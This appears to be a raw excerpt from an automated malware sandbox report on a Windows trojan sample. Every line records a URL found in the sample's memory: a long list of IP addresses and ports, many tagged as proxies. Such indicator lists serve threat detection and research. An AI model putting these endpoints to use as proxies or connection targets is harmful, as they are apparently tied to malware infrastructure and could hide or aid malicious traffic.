Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.219.133.106:1234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.219.133.106:1234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.219.133.106:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.219.133.106:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.22.8.70:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.22.8.70:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.225.232.191
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.225.232.191://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.225.232.191:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB056000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.229.225.191:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.229.225.191:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.103:54244
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.103:54244://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.97:54625
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.97:54625://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C668F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.97:59946
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.23.118.97:59946://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.202.170:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.202.170:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.202.205:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C692A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.202.205:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.203.208:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.203.208:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.37.108:4443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.37.108:4443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD12C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.46.221:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.236.46.221:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.202:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.240
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.240://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.240:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.67
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.67://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.67:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.96
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.96://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.238.228.96:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.244.36.240:44087
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.244.36.240:44087://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.245.38.200:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.245.38.200:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.45.201:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.45.201:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80CA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.5.130:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C809D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.5.130:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.121:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.121:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9D2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.129:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.129:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.131:8070
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.32.6.131:8070://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.38.111.1:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.38.111.1:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.40.80.143:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.40.80.143:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.249.148:39316
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.249.148:39316://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.194.176:29537
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.194.176:29537://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:25298
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:25298://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:31428
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:31428://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:53491
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.45.73.227:53491://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.49.30.5:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.49.30.5:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.49.31.207:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.49.31.207:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.5.209.101
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.5.209.101://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.5.209.101:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.51.92.103:51327
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.51.92.103:51327://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEE3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.54.0.18:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.54.0.18:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.54.178.193:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.54.178.193:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.6.10.191:19427
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.6.10.191:19427://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.61.169.67:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.61.169.67:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.65.253.161:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.65.253.161:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.66.59.203:42647
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.66.59.203:42647://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.89.156.130:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.89.156.130:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F66000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.89.181.212:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.89.181.212:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.95.227.244:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.95.227.244:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.97.114.179:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.97.114.179:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.97.122.253:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.97.122.253:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.10.102.218:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.10.102.218:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.91:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.91:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.92:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.92:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.93:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.93:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.94:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.103.130.94:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.123.26.79:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.123.26.79:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.148.47.251:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.148.47.251:999://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.155.230.114:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.155.230.114:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.156.161.235:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.156.161.235:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.159.6.163:1994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.159.6.163:1994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.166.138.51:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.166.138.51:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD133000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.166.204.118:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.166.204.118:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.194.119.205:5566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.194.119.205:5566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.203.163.53:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.203.163.53:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.211.6.137:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.211.6.137:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://186.215.196.50:3128
